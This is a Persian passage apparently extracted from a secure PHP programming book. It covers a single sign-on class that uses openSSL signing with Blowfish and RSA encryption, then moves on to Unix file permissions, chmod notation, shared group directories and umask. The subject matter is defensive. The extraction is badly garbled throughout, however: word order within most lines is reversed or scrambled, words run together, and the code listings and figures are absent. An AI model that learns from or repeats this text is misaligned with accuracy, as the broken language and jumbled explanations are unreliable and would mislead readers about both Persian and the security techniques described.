جهت  را کاربر که کندمی ایجاد را مصرف باریک گواهی نوعی ایمن سرور دیگر، عبارت باشد. به داشته تعامل

 نماید. می شناسایی قابل برنامه، سرور

 و هاURI از آرایه یک قبیل از باشد نیز صلاحیت تایید اطلاعات شامل تواندمی محرمانه اطلاعات این

 قرار استفاده مورد کاربر، جای به برنامه سرور توسط که رمزعبور و کاربری نام یک یا دسترسی،های نقش

 وارد مستقیم صورت به بخواهد کاربر اگر باشند نیاز مورد است ممکن موارد گیرد. اینمی

mysqladmin.example.org انتقال، هنگام شود. در sso.example.org قبل از وی که یابدمی در 

 این sso که باشد(. هنگامیمی sso.example.org از جلسه کوکی یک دارای که )چرا است شده وارد
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 است ممکن شودمی ارسال mysqladmin.example.org به که موردی کند،می ایجاد را اطلاعات مقدار

 گیرد.  قرار استفاده مورد کاربر این توسط باید که باشدای دادهپایگاه رمزعبور و کاربری نام شامل

به  بار اولینجهت  که است. هنگامی یگانه شناسایی سیستم یک از پیشرفته مثال یک گوگل میلجی سرور

 شما اعتبار، تایید نمودن کامل از دشوید. بعمی داده انتقال ،ورود ایمن فرم فریم( به یک )در رویدمی  آن

 به دسترسی که کلیدی از است عبارت اینجا در طولانی auth یابید. متغیرمی انتقال،  URI یک به دوباره

 دهد. می شما به شما،ی جلسهی ادامهجهت  را Gmail سرویس

 

  یگانه شناسایی از جهت استفاده PHP کلاس یک 3.4.2.1

 و openSSLهای کلاس از دوباره پردازیم. مامی PHP در یگانه شناسایی سیستم از استفاده به اکنون ما

mcypt کلاس یک به شما علاوه، کرد. به خواهیم استفاده اول، فصل در شده ایجاد singleSignOn  جهت

 انکد را صلاحیت تایید پاسخ یا درخواست که صورت این به دارید نیاز پروتکل این اعظم بخش از استفاده

 یک از استفاده با مناسب، agent یک به GET متغیر یک عنوان به را شده انکد پیام این سپس و نموده

 قرار استفاده مورد ارتباط این سوی دو هر در کلاس همین بنابراین،دهد.  تحویل HTTP جهت تغییر

 یک سوی از که است برنامه سرور یک واقع در )که نامیممی client را آن ما که چیزی توسط گیردمی

 صلاحیت تایید سرور یک توسط و کندمی ارسال را ورود درخواست کند( کهمی عمل مشتری، کاری ایستگاه

 است شده ارائه ادامه در کلاس این کند(. کدمی رد یا تایید را ورود درخواست )که ایمن
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 نموده اضافه داد، خواهیم قرار استفاده مورد که را قبلی کلاس دو شما ،singleSignOn کلاس برپایی برای

 شیء یک دهید،می تخصیص را متغیرها شما خود،ی سازنده روش کنید. درمی تنظیم را متغیر تعدادی و

openSSL های روش از و کنیدمی ایجاد را جدیدprivatekey() و certificate() تخصیصجهت  آن 

 کنید. می استفاده آن به متغیرها
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 اندکی است ممکن ()makeRequest روش کند. ناممی ایجاد را تصادفی مقدار یک تنها ()nonce روش

 قرار استفاده مورد پاسخ و درخواست ایجادجهت  سرور هم و مشتری توسط هم که چرا برسد، نظر به اشتباه

 کاری ایستگاه درخواست به را پاسخ نامیم( یکمی سرور و مشتری ما که )چیزی واقعی سرور گیرد. هرمی

 قسمتی سه پیام یک روش شود. اینمی تبدیل دیگر سرورجهت  درخواست یک به که کند،می ارائه مشتری

$request را آن بتواند بعدا که است نیاز مورد دلیل این به تنها که کندمی :: ایجاد جداساز از استفاده با را 

 و آوریجهت جمع ()encodeMessage و ()getCertificateهای روش از نماید. سپس، تجزیه

جهت  را URI یک نهایت، کند. درمی پاسخ( استفاده )یا درخواست ایجادجهت  ضروری اطلاعات رمزنگاری

 کند. می ایجاد GET$_ متغیر یک عنوان به شده رمزنگاری پیام افزودن با دوردست سرور
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 request$ی آرایه در را آنهای بخش و نموده تجزیه را شده رمزنگاری )( پیامdiscoverRequest روش

 کند. می ذخیره
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 7-3 تصویر در پیچیده نسبتا فرآیند دهد. اینمی انجام را پیام رمزنگاری )( کارencodeMessageروش

 است.  شده داده نشان

 پیام رمزنگاری : فرآیند7-3 تصویر
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 صورت به شده امضای ساده متن پیام کند: یکمی عمل صورت این به پیام رمزنگاری فرآیند کلی، طور به

 به تصادفی کلید این شود. خودمی رمزنگاری تصادفی، کلید یک از استفاده با Blowfish توسط متقارن

 شود. اینمی رمزنگاری عمومی، کلید یک عنوان به گیرنده گواهی از استفاده با RSA توسط نامتقارن صورت

 تشکیل نهایی،ی شده رمزنگاری پیام تا شودمی اضافه شده رمزنگاری و امضا پیام به شده رمزنگاری کلید

 شود. 

 قرار استفاده مورد را openSSL )( درsign روش شما ابتدا، در بگوییم، بیشتر جزئیات با بخواهیم اگر

 باید نمایید. سپس امضا خود، خصوصی کلید از استفاده با  کنید، ارسال خواهیدمی که را پیامی تا دهیدمی

 Blowfishمورد(  این )در یا AES مثل متقارنای بلوکه رمز یک از استفاده با را شده امضا پیام این

 در ()setkey روش به را آن و نموده ایجاد رمزنگاریجهت  را جدید تصادفی کلید یک شمانمایید.  رمزنگاری

mcrypt فراخوانی با را رمزنگاری خود کنید. سپس،می ارائه mcrypt->encrypt() دهید. می انجام 

 که است این گام نمایید. اولین ایمن را تصادفی کلید تا کنید استفاده عمومی کلید رمزنگاری از باید اکنون

 را openSSL در ()encrypt روش دهید. سپس، انتقال ()openSSL->certificate به را گیرنده گواهی

 در شده رمزنگاری مقدار دو کنید. این رمزنگاری را تصادفی کلید نامتقارن صورت به تا کنیدمی فراخوانی

 دوباره گیرنده سمت در تا شوندمی )::( جدا مکرری نقطه دو علامت یک توسط و شوندمی متصل هم به ادامه،

 ارسال تواندمی گیرندهجهت  ایمن صورت به که است شده رمزنگاری پیام یک مقدار شوند. این جدا هم از

 شود. 

 به گیرنده خصوصی کلید از استفاده با و عکس صورت به البته است مشابه نیز پیام تایید و رمزگشایی فرآیند

 گواهی.  جای
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کند. می رمزگشایی را شده رمزنگاری پیام زد، حدس توانمی که طورهمان ،()decodeMessage روش

های روش از و ::(، اختیاری جداساز از استفاده )با کنیدمی تقسیم دهنده تشکیلهای بخش به را آن شما

 و تصادفی کلید روی بر شده استفاده نامتقارن رمزنگاری نمودن جهت وارون mcrypt و openSSL مناسب

 ()verify روش از نهایت کنید. درمی استفاده شده، امضا پیام خود روی بر شده استفاده متقارن رمزنگاری

 کنید. می مشتری( استفاده بنابراین، )و امضا اعتبار تاییدجهت  جهت تلاش openSSL در
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 و ()getRequestCommandی ساده روش دو با را singleSignOn کلاس شما

getRequestReturn() ی آرایه از فرستنده آدرس بازگرداندن و دستور استخراججهت  ترتیب به

$request، رسانید. روشمی اتمام به getCertificate() تابع ار parse_url در PHP تا کندمی استفاده 

 )با باشید داشته ایمن ارتباط یک خواهیدمی شما آیا که نماید تعیین شده، مشخص remoteURI$ از

 ایجاد دوردست سرور گواهی فایل به را مسیر یک (. سپس،80 پورت از )استفاده نه ( یا443 پورت از استفاده

 کند. درمی ارائه را آن محتوای است، اینگونه اگر و باشد خواندن قابل گواهی که کندمی بررسی کند،می

 باشند( هدرهای نشده فرستاده قبل از هدرها کهای گونه به باشد بار اولین )اگر )( یاredirect روش نهایت،

 که صورتی در تنها گشت بازخواهید اینجا به شما که آنجا )از یا کندمی ارسال را صلاحیت تایید نیاز مورد

 کند. می ارائه کاربر به کاری ادامهجهت  لینک یک باشد(، شده وارد موفقیت با کاربر

  برنامه یگانه: طرف شناسایی کلاس از استفاده 3.4.2.2

 تا دهید اجازه کاربر به که کنید ایجاد را اسکریپت دو باید شما دارند، قرار خود جای سر ابزارها این که اکنون

 تا خواهدمی ایمن سرور از و گرفت خواهد قرار برنامه سرور روی بر مورد دهد. اولین انجام را واقعی ورود

 و گرفت خواهد قرار ایمن صلاحیت تایید سرور روی بر مورد کند. دومین تایید را مشتری ورود درخواست

 با مشتری کاری ایستگاه طریق از پیام ارسال با اسکریپت دو نمود. این رد( خواهد )یا تایید را ورود درخواست

 بود.  خواهند ارتباط در یکدیگر

 یک شود،می فراخوانی مشتری کاری ایستگاه برنامه( توسط سرور روی )بر اول اسکریپت این که هنگامی

 )از شود فراخوانی سرور آن توسط اگر دیگر، سوی از کند؛می ارسال سرورجهت  را صلاحیت تایید درخواست
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 با مشتری آیا کنندمی مشخص که کندمی دریافت را GET$_ متغیرهای مشتری(، کاری ایستگاه طریق

 خیر.  یا است شده وارد موفقیت

 

 و یافتنجهت  ضروری متغیر مجموعه یک و کنیدمی آغاز حالت، یک حفظ یا و ایجاد با را جلسه یک شما

 دنبال به شما ادامه، کنید. درمی نمایشی( تنظیم مقادیر از استفاده با اینجا )در را مشتری گواهی مدیریت

 خارج تنظیم حالت از را جلسه username یافتید، را logout یک اگر گردید،می GET$_ متغیرهای

 کند.  شروع اول از دوباره بتواند کاربر کهای گونه به کنیدمی
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 یا و است کرده شروع را کار تازه کاربر که دلیل این به )یا باشد نداشته وجود هنوز جلسه username اگر

 دارد. در نیاز آن به ورودجهت  کاربر که کنیدمی وارد را singleSignOn کلاس شما است(، شده خارج

 شیء یک ایجادها جهت آن از و کنیدمی فراخوانی را کلید مقادیر )محلی( و مشتری گواهی شما ادامه

singleSignOn ادامه در گردید،نمی باز سرور از کنید. اگرمی استفاده مشتری، ورود مدیریتجهت  جدید 

 خارج اسکریپت این از و کنیدمی استفاده ورود درخواست یک جهت اجرای ()makeRequest روش از

 شوید. می
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 کنیدمی استفاده ()discoverRequest روش از هستید، سرور از بازگشت حال در شما اگر دیگر، سوی از

 داشتید انتظار که چیزی با را آن و نمایید بازیابی را کندمی ارسال سرور که چیزی در موجود محتوای تا

 داده ارائه کاربر به را پیام یک شما نیستند، منطبق (، اگرAuthorizeی رشته حالت، این )در نمایید مقایسه

 ایجاد جزئیات، با جلسه متغیرهای در را username ورودی یک شما است، منطبق اگر شوید؛می خارج و

 به را خروج فرصت که صورت این به است بوده موفق ورود که کنیدمی اعلام مشتری به نهایت کنید. درمی

 دهید. می وی

  صلاحیت تایید سرور یگانه: طرف شناسایی کلاس از استفاده 3.4.2.3

 دارد. این قرار صلاحیت تایید سرور روی بر که اسکریپتی یعنی پردازیم،می سیستم دوم بخش به اکنون

 ایستگاه از که برنامه، سرور از واقع )در پذیردمی را مشتری سوی از ورودجهت  درخواست یک اسکریپت

 اسکریپت با موازی مختلف ابعاد از اسکریپت دهد. اینارائه می را پاسخ یک کند( ومی عبور مشتری کاری

ssoClient.php تقریباها اسکریپت این از کدام هر که چرا گرفت قرار استفاده مورد قبلی بخش در که است 

 دهند.می انجام ارتباط یک انتهای دو در را یکسانی کار



  PHPنویسي امن برنامه

118 

 

 
 

 

 مدیریت و یافتنجهت  ضروری متغیرهای از گروه یک و کنیدمی آغاز حالت یک حفظ با را جلسه یک شما

 با اینجا در هم باز و شد انجام مشتری اسکریپتجهت  که ییهاآن با )موازی کنیدمی تنظیم را سرور گواهی

 را خود محلی گواهی اطلاعات کنید،می اضافه را singleSignOn کلاس شما ادامه، نمایشی(. در مقادیر

 جدید شیء یک سرور( وجهت  البته بار این ولی دادید انجام مشتریجهت  که طور)همان کنیدمی بازخوانی

singleSignOn کنید.  مدیریت را سرور پاسخ تا نماییدمی ایجاد مقادیر این از استفاده با را 
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 درخواست یک الان همین مشتری که بود خواهد دلیل این به رسید،می اینجا به بار اولینجهت  که وقتی

 اینجا به بار دومینجهت  شما پردازیم. اکنون،می شرایط این به دیگر اندکی است. ما نموده ارائه را ورود

 یک شما فرم(. بنابراین یک طریق )از مشتری توسط عبور رمز و کاربری نام یک یارائه به پاسخ در اید،رسیده

 کنید. ما صلاحیت تایید را کاربر که کنیدمی تلاش و آوردهارائه  جلسه درخواست متغیر از را بازگشت آدرس

ی مقایسه و  POST$_ متغیرهایی ساده بازخوانی یک  فرآیند این ایم؛نداده نشان اینجا در را فرآیند این

 ایجاد را صلاحیت تایید پاسخ شما موفقیت، از بود. بعد خواهد قبول قابل و شده ذخیره مقادیر باها آن

 از استفاده با مشتریجهت  را پاسخ و کنیدمی چاپ کنسول روی بر را پیام یک کنید،می

makeRequest() کنید. می ارسال 
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 دقیقا تا کنید استفاده ()discoverRequest روش از رسید،می اینجا به بار اولینبرای  که صورتی در

 به نشد، یافت درخواستی هیچ خروج(. اگر یا )ورود دهد انجام خواهدمی کاری چه مشتری که نمایید مشخص

 درخواست شما صورت، این غیر در دهد؛ رخ نباید که وضعیت یک شوید،می خارج ایمنی،ی گزینه یک عنوان

 کنید. هنگامیمی ایجاد دهد،می ورودی اجازه کاربر به که را فرمی سپس و افزاییدمی جلسه متغیر درون را

 انتهای نمود. این خواهید پردازش را آن اسکریپت، این قبلی بخش در شما شود،می ارسال فرمان این که

 باشد. می ssoServer.php اسکریپت

 به هم که سرور یک تنها یا و کنید استفاده سیستم اینجهت  میزبان بیشتری تعداد یا دو از توانیدمی شما

HTTP هم و دهدمی گوش HTTPS ایمن سرور و برنامه سرور بین مستقیمی ارتباط هیچ که کنید . توجه 

 با که دهدمی انتقال دیگری به مشتری طریق از را شده رمزنگاری پیام یکها آن از کدام هر ندارد؛ وجود

 تایید استقلال یابد. اینمی انتقال دیگری به یکی از فرم، ارسال یک یا / : وLocation هدر یک از استفاده

 پیچیدگی باعث که )هرچند باشدمی یگانه شناسایی سیستم این امنیت در مهم فاکتور یک برنامه و صلاحیت

 شد(.  خواهد آن
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  خلاصه 3.5

جهت  تلاش یعنی دادیم قرار بررسی مورد را کاربران صلاحیت تاییدی پیچیدهی وظیفه ما فصل، این در

ی شیوه دو هر کنند. مامی ادعا که هستند کسی همان واقعا اینکه از اطمینانها جهت آن هویت تشخیص

 بر مبتنی صلاحیت تاییدهای روش عاملی، دو صلاحیت تایید ،HTTP صلاحیت تایید دایجست و ابتدایی

 را PHP بر مبتنیهای حل راه ما امکان، صورت در و دادیم، قرار نظر مد را یگانه شناساییهای روش و گواهی

 ایم.  نموده ارائه صلاحیت تایید اینی ساده و ایمن انجام معمایجهت 
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 ها( محدودیت و دسترسی) مجوزها : کنترل  چهارم فصل 4

 پردازیم: کنترلمی ایمن محیط یک حفظ و ایجادجهت  خود تلاش در عنصر آخرین به ما فصل این در

 کارهایی چه شما، سیستم به موفق دسترسی از بعد کاربران اینکه تعیین یعنی، سیستمی، سطح دسترسی

 را کارهایی چه انجامی اجازه سیستم خود که پردازیممی نیز مسئله این به حتی دهند. ما انجام توانندمی

 دارد. 

 است، پیچیده سیستم، یونیکس. این دسترسی حقوق و مجوزها سیستم از است عبارت کنترل این کلید

برای  مسئولیت تخصیص با امنیت نمودن بیشینهجهت  ابتدا از که چرا آشنایی، اولین هنگام در خصوصا

 است.  یافته توسعه کاربران(، از هایی گروه )یا آشکار کاربرانجهت  عملیات و سیستم فایل اشیا تمامی

 کنیممی تمرکز روشی بر ما یونیکس، هایسیستم روی بر PHP از گستردهی استفاده به توجه با حال، این با

 قرار بحث مورد را سیستم فایل مجوزهای ابتدا در و رودمی کار به یونیکسهای گونه سایر و لینوکس در که

جهت  کاربران توانایی روی برها کنترل یعنی پرداخت خواهیم دادهپایگاه مجوزهای به داد. سپس، خواهیم

های روش سایر و PHP ( درSafe Mode) ایمن حالت ما انتها، داده. درهایپایگاه روی بر فعالیت و اتصال

 داد.  خواهیم قرار بحث مورد را افزارنرم بر مبتنی دسترسی کنترل

  یونیکس سیستم فایل مجوزهای 4.1

عامل. های سیستم منابع به کاربران دسترسی کنترل بنیادیهای روش از عبارتند سیستم فایل مجوزهای

 از بخشی کنیم. هرچندمی آغاز را خود کار آن مجوزهای و یونیکس سیستم فایل پیرامون بحثی با بنابراین،

 ولی برسد، نظر به افتاده پا پیش و ابتدایی مجرب، کاربران وها سیستم مدیرانجهت  است ممکن مطالب این

 باشد. می ضروری سیستم، فایل مجوزهای مدیریت با امنیت کنترل از کامل درک یکجهت  مطمئنا

  یونیکس مجوزهای برای مقدمه 4.1.1

 در سیستم فایل مجوزهای که کنیم بررسی باید ابتدا در سیستم، فایل مجوزهای کنترل چگونگی درک برای

 آموزش یک که نیست قرار اینجا در ما شوند. بحثمی تنظیم و تعیین چگونه و هستند چیزهایی چه واقع

 نیاز اضافی مطلب که صورتی در و کنیممی تمرکز مجوزها موضوع روی بر تنها ما باشد؛ لینوکس یا و یونیکس

 گذاریم. می شما خودی عهده بر را امر این دارید،

 :بیاندازیم نگاه شودمی داده نمایش  ls -l دستور با که دایرکتوری فهرست به دهید اجازه
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 از بعضی معمولا که هرچند باشد،می کاراکتر دهجهت  کافی جای شامل که هستیم اول ستون به مندعلاقه ما

 اند. نشده پر خالی، جاهای این

 به رسیدنجهت  و کنیممی جدا را دایرکتوری ورودی این انتهایی خط دو ما کار، راحتیجهت  بنابراین،

 به دهیدمی نشان را گروه و مالکهای نام تنها و کنیممی اضافه اول ستونبه را فواصلی وضوح، بالاترین

 دایرکتوری:  یا فایل نامی علاوه

 

 دایرکتوری یک آیتم این آیا که کندمی مشخص را مسئله این اول ستون در خالی جای ده این از مورد اولین

 یک با شده داده )نشان فایل یک یا ( وl یک با شده داده )نشان است لینک یک (،d با شده داده )نشان است

 ورودی(.  بدون یعنی -

 خالی گیرند. جاهایمی قرار تایی سهی دسته سه در بینیممی که طورهمان اول ستون در مانده باقی مورد نه

 اجرا یا و نگارش خواندن، مجوز آیا که کنندمی مشخص x و r ، w حروف نیاوردن یا آوردن با مجموعه هر در

 فایل مالک که شوندمی اعمال کاربریجهت  ترتیب به مجموعه سه خیر. این یا دارد وجود مجموعه اینجهت 

 جهان.  واقع در یا دیگری فرد هر و دارد تعلق آن به کاربر این که گروهی است، دایرکتوری یا

 بر گروه یک محتوای به دسترسی ممکنهای روش تمامی کننده توصیف اجرا و نگارش خواندن، مورد سه

 یکجهت  یا شوندمی اعمال فایل یکجهت  اینکه اساس بر ولی هستند یونیکس سیستم فایل یک روی

 یک به نگارش و است. خواندن واضحها آن معنای ها،هستند. جهت فایل متفاوتی معانی دارای دایرکتوری

 بارگذاری توانایی کاربر یک به دهد. اجرامی را فایل یک در داده نوشتن یا، از داده خواندنی اجازه کاربر

 عنوان به اسکریپت یک اجرای توانایی یا و دهدمی را آن اجرای و حافظه درون را باینری فایل یک محتوای

 مجوزهای با کاری هر طور همین و خود مالکین توسط اجرا، تنظیم دارایهای سیستمی. فایل دستور یک

 عنوان به PHP است. باینری متفاوت اندکی PHP نویسیشوند. )اسکریپتمی محسوب اجرا قابل سیستمی،

 قابل غیر یا اجرا قابل عنوان به اسکریپت یک که دهدنمی اهمیتی و شودمی )هیچکس( اجرا nobody کاربر

 اجرا و نموده کامپایل بخواند، بتواند که را PHP اسکریپت نوع هر باینری باشد. این شده مشخص اجرا

 کند(. می
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 خصوص باشد. درمی دایرکتوری یک به اشاره هنگام متفاوت کاملا معنای یک دارای اجرا بخش دیگر، سوی از

 انجام آن درون را وظایفی و نموده باز را دایرکتوری تا دهدمی اجازه کاربر یک به execute دایرکتوری، یک

 read بخش هم و execute بخش هم شود(. اگر اجرا cd دستور تا دهدمی اجازه دیگر، عبارت )به دهد

ی علاوه به شودمی داده دایرکتوری این درونهای فایل فهرست خواندن توانایی آنگاه باشند، شده مشخص

 شکل بدهد(. به را امر اینی اجازه فایل هر مجوزهای که شرطی )بهها فایل این محتوای خواندن توانایی

 روی بر یا و کند ایجاد را جدیدهای فایل تا دهدمی اجازه کاربر به دایرکتوری یک write مجوز مشابه،

 )یعنی، نوشتنی تنها کورهای دایرکتوری که دارد وجود امکان بنویسد. این دایرکتوری، آن در موجودهای فایل

 باید که کلیدیی شود. نکته ( ایجادr-x) خواندنی تنهاهای دایرکتوری طورهمین ( وwx-خواندن( ) غیرقابل

 بدون است، خارج کاربران دسترس از دایرکتوری یک محتوای اجرا، مجوز بدون که است این بسپارید خاطر به

 دارد.  وجود دیگری مجوزهای چه اینکه به توجه

 کاربری همان معمولا که باشد، مالک یک دارای باید دایرکتوری و فایل هر یونیکس، سیستم فایل یک در

 شوند،می نصبها برنامه که (. هنگامیtimb بالا مثال )در است نموده ایجاد را فایل آن ابتدا در که است

 عنوان به که کاربری )ابرکاربر، 36سوپروایزر کند. تنهامی اجرا را نصاب که است کاربری آن ازها آن مالکیت

root دارای اصولا کاربر یک صورت، این غیر دهد. در تغییر را فایل یک مالکیت تواندشود( میمی شناخته 

 که فایلی هر محتوای وها ویژگی سطح بر را کامل کنترل که دارد را توانایی این حداقل یا است کامل کنترل

 هستند.  فایل یک مجوزهای تغییر توانایی دارای ابرکاربر و مالک تنها بدهد. و خود به دارد، مالکیت تحت

 گروه یک با مرتبط فایل هر و است، گروه یک حداقل به متعلق کاربر هر یونیکس، قواعد اساس بر نیز اینجا در

 همه به اینکه بدون شوندمی کاربر چندین  به فایل دسترسی یارائه تسهیل باعثها باشد. گروهمی یکتا

 هرجهت  اجرا و نوشتن خواندن، دسترسی توانمی آنگاه باشد، www گروه در timb بدهند. اگر دسترسی

 همان www گروه در دیگری فرد داد. هر وی به باشد،می www گروه این با مرتبط که را سیستم در فایلی

 با فایل که باشد گروهی عضو که ندارد نیازی فایل دارد. مالک timb که داردها فایل این به را هاییدسترسی

 آن از عضوی خود که سازد مرتبط گروهی با را فایل یک تواندمی ابرکاربر تنها که هرچند است، مرتبط آن

 دهند.  تغییر را فایل مجوزهای توانندنمی گروه نیست. اعضای

 دیگر کاربر هر به دسترسی مجوزهای دادنی اجازه که است کلی اصطلاح یک جهت کاربران worldی دسته

 از کدام هیچ توانست نخواهد timb مناسب، جهانی دسترسی قابلیت دهد. بدونمی را سیستم روی بر

 با و بوده root باها آن تمامی مالکیت که دلیل این به کند اجرا را دستورات یا و بخواند را سیستمیهای فایل

                                                   

 

 

36 Superuser 
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 مجوز مشابه، شکل به هستند. و سیستم( مرتبط مدیران شامل )معمولا wheel یا و rootهای گروه از یکی

 timb خود که سرور، وب فرآیند مالک به timb به متعلق uploads دایرکتوری روی بر جهانی خواندن

 کند.  ذخیره آنجا در راها فایل تا دهدمی اجازه است، معروف nobody همان بلکه نیست

 -جهان و گروه مالک،جهت  اجرا و نوشتن خواندن، -متفاوت مجوز سهی مجموعه سه خلاصه، طور به

 مهمی امنیتی تعابیر دارای بنابراین و کنندمی کنترل را یونیکس سیستم فایل در شیئی هر به دسترسی

 هستند. 

  مجوزها کاریدست 4.1.2

 استفاده موردها دایرکتوری وها فایل مجوز تغییرجهت  توانندمی که است سیستمی دستور سه دارای یونیکس

 کند( ومی مشخص را گروه )که chgrp کند(،می تنظیم یا داده تغییر را مالک )که chownگیرند:  قرار

chmod کند(. می مشخص را مجوزها یا حالت ) که 

کند: می استفاده علائم از متفاوتی مجموعه دو از chmod که است این شودمی سردرگمی باعث که چیزی

 بین که چیزی هر و --- و rwx) ایم نموده مشاهده تاکنون که کاراکتری سهی دسته سه الفباییی مجموعه

 کند.می خلاصه عدد سه تنها در را کاراکتر نه این که مرتبط هشت مبنای نمایش یک و باشد(،می دو این

 کند. اینمی استفاده مجوزها تعیینجهت  ضمنی تقریباای مجموعه از تنها chmod الفبایی، نمایش در

 اند. شده داده نشان 1-4 تصویر در پارامترها

 chmod دستور الفبایی : پارامترهای1-4 تصویر

 

 استفاده فایل مالکیت توصیفجهت  متفاوتی تقریبا لغات از کدها این که چرا« ضمنی تقریبا» گوییم می

 به مجوزها اینکه کردن مشخصبرای  جهان و گروه مالک، یونیکسهای برچسب از استفاده جای کنند. بهمی

 دیگران و گروه است(، فایل مالک که کاربری معنای )به کاربر از الفبایی مدل شوند،می اعمال کسی چه

یونیکس(  ( )تخصیصOwner) مالک هم که چرا شودمی سردرگمی موجب اغلب تغییر، کند. اینمی استفاده

 که بسپارید خاطر به بتوانید شوند. اگرمی آغاز” O“ حرف ( باchmod تخصیص ،other) دیگران هم و

chmod با را مالک مجوزهای u نه و کندمی مشخص o، شود. می حل مسائل مابقی 
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 یا خاص فایل یک روی مجوزهای تواندمی سیستم مدیر یک ممکن، پارامترهای از ترکیبی از استفاده با

 تغییر راها آن حالت یا )و کند تنظیم زیر، دستور مانند به دستوری از استفاده با راها فایل ازای مجموعه

 دهد(: 

 

 دهد جهان( اجازه )یا کاربران سایر به تا دهدمی تغییر را thisfile فایل روی بر موجود مجوزهای دستور این

 حال، این نمود. با مشخص توانمی را پارامتر چندین که کنید بنویسند. توجه آن روی یا بخوانند را آن تا

«. دهدمی تغییر را فایل این روی بر موجود مجوزهای» دستور این که است این است مهم بسیار کهای نکته

جهت  است ممکن other گروه در موجود دهد. کاربرانمی تغییر را موجود تنظیمات تنها تغییر نوع این

thisfile نمایش ندارد. بنابراین، مجوز این بر کنترلی هیچ دستور این نباشند؛ یا باشند اجرا مجوز دارای 

 به را مجوزها که چرا شودمی داده ترجیح معمولا که است، هشت مبنای نمایش ازتر مبهم حدی تا الفبایی

 موجود.  مجوزهای از کاستن یا افزودن از استفاده با نه و کندمی مشخص آشکار صورت

 7 تا 0 ارقام با که کندمی استفاده هشت مبنای در هشتی هشت شمارش سیستم از هشت مبنای نمایش

 نشان نمایند، ایجاد را ارقام ین ازا کدام هر تا شوندمی ترکیب که را مجوزی مقادیر 2-4 باشد. تصویرمی

 دهد. می

 chmod دستور هشت مبنای ویرایش با شده استفاده مجوز : مقادیر2-4 تصویر

 

 ایجاد را رقمی تک عدد یک تا شوندمی هم جمع هم با یابد تخصیص باید که مجوزهایی از کدام هر مقادیر

 مجوزهای تخصیصجهت  باشد. جهت مثال،می chmod دستور هشت مبنای ویرایش از رقم یک که نمایند

ی مجموعه آورید. یکارائه  را 3 هشت مبنای رقم تا کنیدمی جمع هم با را 1 و 2 مقادیر شما اجرا، و نوشتن

 است.  شده داده نشان 3-4 تصویر در هشت مبنای مقادیر از کامل

 chmod دستور مبنای هشت : مقادیر3-4 تصویر

--- 0 

--x 1 

-w- 2 
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-wx 3 

-r- 4 

r-x 5 

rw- 6 

rwx 7 

 

 )یا جهان و گروه مالک، یعنی ممکن کاربر نوع سه با منطبق chmod دستور هشت مبنای ویرایش رقم سه

 )به بالاتر دقت با مجوزها تعیینجهت  هشت مبنای نمایش از تواندمی مدیر یک باشد. بنابراین،دیگران( می

 انجام که دلیل این )بهتر اقتصادی نسبی( و صورت به نه و شوندمی مشخص مطلق صورت به که دلیل این

 به دستوری که است کند. درست استفاده الفبایی، نمایش به باشد( نسبتمی کاراکتر سه نیازمند تنها امر این

 زیر:  دستور مانند

 

 شکل:  این به شود، نگاشته نیز الفبایی نمایش صورت به تواند می

 

 آشکار، را اجرا و خواندن مجوزهای باید است. ما ریخته هم در حد چه تا نوشتن روش این که کنید توجه ولی

 حذف را آخر گام این کنیم. اگر خاموش، آشکار صورت به نیز را نوشتن مجوزهای همچنین و کنیم روشن

 مشخص که چرا اند، داشته وجود قبلا که کنیم قبول را نگارشی مجوزهای همان بودیم مجبور بودیم، کرده

 این تحت هشت مبنای نمایش که دلیل این کرد. بهنمی ایجاد آن در تغییری دیگران، مجوزهای نمودن

 و بودهتر ساده بسیار که یابیدمی در که داریم اعتقاد کردید، درک را آن که هنگامی ندارد، قرار محدودیت

 باشد. می اعتمادتر قابل آن از استفاده

 دادیم، قرار بحث مورد ما که دارد بستگی هشتی مبنای نمایش به پیشرفتههای پرچم از دیگری مجموعه یک

 دهیم. می قرار بررسی مورد را مجموعه این ادامه در دارد. بنابراین، امنیتجهت  مهمی معانی و

 متفاوت همدیگر با مختلفهای شیوه به که است متعددیهای ویرایش دارای یونیکس عامل هشدار: سیستم

 مختلف توزیعات لینوکس، با مرتبط زیر بزرگ(. بحثهای تفاوت گاهی و کوچکهای تفاوت )گاهی هستند

 یونیکس مشابههای عامل سیستم سایر با مرتبط همچنین است باشد. ممکنمی OSX و BSD بر مبتنی

 باشد. 
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  اشتراکی گروهیهای دایرکتوری 4.1.3

 به را یکدیگر دایرکتورهای وها فایل مالکیت بتوانند باید کاربران از تعدادی که است صورت این به معمولا

 به را اشتراکی دایرکتورهای وها فایل تمامی که است این مسئله اینجهت  ساده بگذارند. پاسخ اشتراک

 شود: می انجام زیر صورت به دستوری توالی توسط که آوریم در گروه توسط نوشتنی قابل صورت

 

 وها فایل تمامی R- پرچم از استفاده با ) و home/shared/ دایرکتوریجهت  را گروهی مالکیت اول دستور

 و دایرکتورها این روی بر مجوزها دوم دهد. دستورمی قرار team گروه با را( برابر آنهای دایرکتوری زیر

 نه ولی گروه کاربران و مالک توسط اجرا و نوشتن خواندن، )قابل ---rwxrwx یا 770 روی بر راها فایل

 دهد. می افراد( قرار دیگر توسط

 کاربر یک که آیندمی وجود به زمانی مشکلات این دو هر و دارد وجود روش این خصوص در مشکل دو ولی

 کند. می ایجاد اشتراکی،ی ناحیه این در را جدید دایرکتوری یا فایل یک

 با است برابر جدیدهای فایلجهت  حالت فرض،پیش صورت است. به فایل مجوزهای با مرتبط مشکل اولین

 یا فایل یک که هستند معنا این به مجوزها . این755 با است برابر جدید دایرکتورهایجهت  حالت و 644

 گروهی.  هیچ اعضای توسط نه و است نوشتن قابل خود مالک توسط تنها جدید دایرکتوری

 مالک( ایجاد GID )یاها آن مالک فرضپیش گروه مشخصات با جدیدهای فایل که است این دیگر مشکل

 وی خود که کندمی ایجاد را گروه یک کاربر هر )یعنی، است مالک کاربری نام با مشابه معمولا که شوندمی

 است ممکن کاربر یک که آنجا شوند(. از اضافه گروه این به کاربران سایر که زمانی تا است گروه آن عضو تنها

 باید را جدید فایل یک که دریابد که ندارد راهی هیچ هم عامل سیستم و باشد گروه زیاد تعداد یک از عضوی

 باشد. هرمی کاربر اصلی گروه از عبارت منطقی فرضپیش حالت تنها نمود، مرتبطها گروه این از یک کدام با

 باشد. می خود مختص حل راه دارای مشکل دو این از کدام

umask 

 اندکی هستند( با خواندن قابل  تنها گروه توسط جدیدهای فایل )اینکه مشکل دو این از مورد اولین ما

 مقدار یک دارای کاربر هر که است شده پذیر امکان اساس این بر که کنیممی حل سیستم فایل جادوی

umask معمولا وی لاگین اسکریپت در که است( ~/.bash_profileذخیره ) مقدار است. این شده 

